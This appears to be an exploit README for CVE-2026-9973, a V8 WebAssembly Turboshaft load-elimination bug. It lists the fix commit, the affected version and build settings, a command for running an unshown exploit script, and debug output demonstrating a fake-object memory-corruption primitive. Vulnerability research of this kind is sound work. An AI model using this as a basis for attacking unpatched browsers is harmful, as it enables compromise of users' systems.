Share
## https://sploitus.com/exploit?id=65283C85-5795-5CCD-A28D-6927CC435DFD
# CVE-2026-9973
## Bug fix
https://chromium-review.googlesource.com/c/v8/v8/+/7822799

```
[wasm][turboshaft] Fix Phi handling in Load Elimination some more

Multiple Phis can depend on each other, so we have to clear all their
replacements up front.

Fixed: 509268941
Change-Id: I7899b28e89ed7b470bd869fb52f7443589305171
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7822799
Reviewed-by: Darius Mercadier 
Auto-Submit: Jakob Kummerow 
Commit-Queue: Jakob Kummerow 
Cr-Commit-Position: refs/heads/main@{#107278}
```

## Environment
**OS**: Ubuntu 24.04 noble x64

**v8 version**: 14.8.178.21
```
commit e38030f4228c8d1405fe105fc5feaa5173559e25 (HEAD -> 14.8.178.21, tag: 14.8.178.21-pgo, tag: 14.8.178.21)
Author: V8 Autoroll 
Date:   Wed May 6 13:34:13 2026 -0700

    Version 14.8.178.21
    
    Version incremented at https://cr-buildbucket.appspot.com/build/8682521216270456209
    
    Change-Id: I16a5eb6f12bf2c64d5a7eac752a09128e4eac6fb
    Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7822581
    Bot-Commit: v8-ci-autoroll-builder@chops-service-accounts.iam.gserviceaccount.com 
    Cr-Commit-Position: refs/branch-heads/14.8@{#43}
    Cr-Branched-From: f9659283a5f8d42b3c09228cf5df606fcaf47a3d-refs/heads/14.8.178@{#1}
    Cr-Branched-From: 141232520dc4910401240c531db3af36910a0fd1-refs/heads/main@{#106240}
```
**build args**:
```
# Set build arguments here. See `gn help buildargs`.
is_debug = false
dcheck_always_on = false
v8_symbol_level = 2
v8_enable_object_print = true
v8_enable_sandbox = true
target_os = "linux"
target_cpu = "x64"

```
## Usage

Run the ExP with:

```bash
d8 --allow-natives-syntax exp.js
```

## Additional Notes

Research on the V8 sandbox escape portion is still in progress.

## Result
elements == object address
```
=========================Address=========================
fake object address: 1060f5d
=======================DebugPrint========================
DebugPrint: 0x16201060f5d: [JSArray]
 - map: 0x01620100d0d9  [FastProperties]
 - prototype: 0x01620100ca3d 
 - elements: 0x016201060f5d  [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x0162000007e5 
 - All own properties (excluding elements): {
    0x16200000e19: [String] in ReadOnlySpace: #length: 0x0162001a6add , data= 0x016200000011 > (const accessor descriptor, attrs: [W__])
 }
 // This is object address
 - elements: 0x016201060f5d  {   Unexpected elements backing store

 }
0x1620100d0d9: [Map] in OldSpace
 - map: 0x016201004939 )>
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - enum length: invalid
 - back pointer: 0x01620100d095 
 - prototype_validity_cell: 0x016200000af1 
 - instance descriptors #1: 0x01620100d059 
 - transitions #1: 0x01620100d101 
   Transitions #1:
     0x016200000eb5 : (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x01620100d11d 
 - prototype: 0x01620100ca3d 
 - constructor: 0x01620100c965 
 - dependent code: 0x0162000007f5 
 - construction counter: 0

```